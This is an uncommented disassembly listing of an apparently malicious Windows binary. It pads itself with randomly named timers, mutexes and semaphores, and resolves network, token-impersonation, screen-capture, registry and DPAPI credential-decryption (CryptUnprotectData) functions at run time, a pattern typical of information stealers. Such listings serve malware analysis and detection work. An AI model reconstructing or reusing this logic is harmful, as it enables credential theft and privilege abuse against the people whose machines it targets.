call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.log:_e4rhaefr
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_0jrmn3am
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call esi
push str.h544rtpl
push str.x0xez8vp
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_123mbjf4
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x4021da
push eax
call esi
jmp 0x4021dc
call ebx
push str.MTXwpsera7h
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4021f8
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call ebx
mov esi, dword [ebp - 0xc]
push str.InternetSetOptionW
push esi
call dword [0x4170d8]
push str.InternetOpenW
push esi
mov dword [0x417178], eax
call dword [0x4170d8]
push str.HttpSendRequestW
push esi
mov dword [0x41712c], eax
call dword [0x4170d8]
push str.InternetReadFile
push esi
mov dword [0x417018], eax
call dword [0x4170d8]
push str.InternetOpenUrlA
push esi
mov dword [0x417100], eax
call dword [0x4170d8]
mov esi, dword [ebp - 0x18]
push str.ShellExecuteW
push esi
call dword [0x4170d8]
push str.SHGetFolderPathW
push esi
mov dword [0x41701c], eax
call dword [0x4170d8]
push str.SHGetSpecialFolderPathW
push esi
mov dword [0x417198], eax
call dword [0x4170d8]
mov esi, dword [ebp - 0x10]
push str.ConvertSidToStringSidW
push esi
mov dword [0x4170c8], eax
call dword [0x4170d8]
push str.OpenProcessToken
push esi
mov dword [0x41705c], eax
call dword [0x4170d8]
push str.SystemFunction036
push esi
mov dword [0x417128], eax
call dword [0x4170d8]
push str.RegEnumKeyExW
push esi
mov dword [0x4170c4], eax
call dword [0x4170d8]
push str.RegCloseKey
push esi
mov dword [0x4170a8], eax
call dword [0x4170d8]
push str.DuplicateTokenEx
push esi
mov dword [0x417068], eax
call dword [0x4170d8]
push str.GetUserNameW
push esi
mov dword [0x417038], eax
call dword [0x4170d8]
push str.RegOpenKeyExW
push esi
mov dword [0x417180], eax
call dword [0x4170d8]
push str.RegQueryValueExW
push esi
mov dword [0x4170a0], eax
call dword [0x4170d8]
push str.GetTokenInformation
push esi
mov dword [0x4170d4], eax
call dword [0x4170d8]
push str.CreateProcessWithTokenW
push esi
mov dword [0x417030], eax
call dword [0x4170d8]
mov esi, dword [ebp - 8]
push str.CharUpperW
mov dword [0x4171a4], eax
push esi
call dword [0x4170d8]
push str.EnumDisplayDevicesW
push esi
call dword [0x4170d8]
push str.GetClientRect
push esi
mov dword [0x417138], eax
call dword [0x4170d8]
push str.GetDC
push esi
mov dword [0x417124], eax
call dword [0x4170d8]
push str.GetDesktopWindow
push esi
mov dword [0x41718c], eax
call dword [0x4170d8]
push str.GetSystemMetrics
push esi
mov dword [0x417158], eax
call dword [0x4170d8]
push str.ReleaseDC
push esi
mov dword [0x417050], eax
call dword [0x4170d8]
push str.wsprintfW
push esi
mov dword [0x4170f4], eax
call dword [0x4170d8]
mov esi, dword [ebp - 4]
push str.CryptStringToBinaryA
push esi
mov dword [0x4170f0], eax
call dword [0x4170d8]
push str.CryptStringToBinaryW
push esi
mov dword [0x417040], eax
call dword [0x4170d8]
push str.CryptBinaryToStringW
push esi
mov dword [0x417160], eax
call dword [0x4170d8]
push str.ev_b1etesm0
push 0
push 1
push 0
mov dword [0x417024], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 8]
xor esi, esi
push eax
push 0x20019
push esi
push str.regnbyjz1nr
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x301
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push esi
push 0xbd9
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.c88x2q7v
push str.zb5vekne
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_jsb4maso
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push eax
call esi
push str.xxgdwb2b
push str.i9d3ouzx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_3sigs7jo
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x4024ba
push eax
call esi
jmp 0x4024d5
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regin0myx9q
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLgrqzovek
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_mbxwbj0t
call edi
lea eax, [ebp - 0xa40]
push eax
push str.s_tjunnrd9
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.SMPHR_fhrkrtf4
push 1
xor edi, edi
push edi
push edi
call esi
push edi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x402530
call ebx
mov eax, dword [ebp - 4]
push str.CryptUnprotectData
push eax
call dword [0x4170d8]
mov dword [0x4170b4], eax
push 3
pop eax
pop edi
pop esi
pop ebx
leave
ret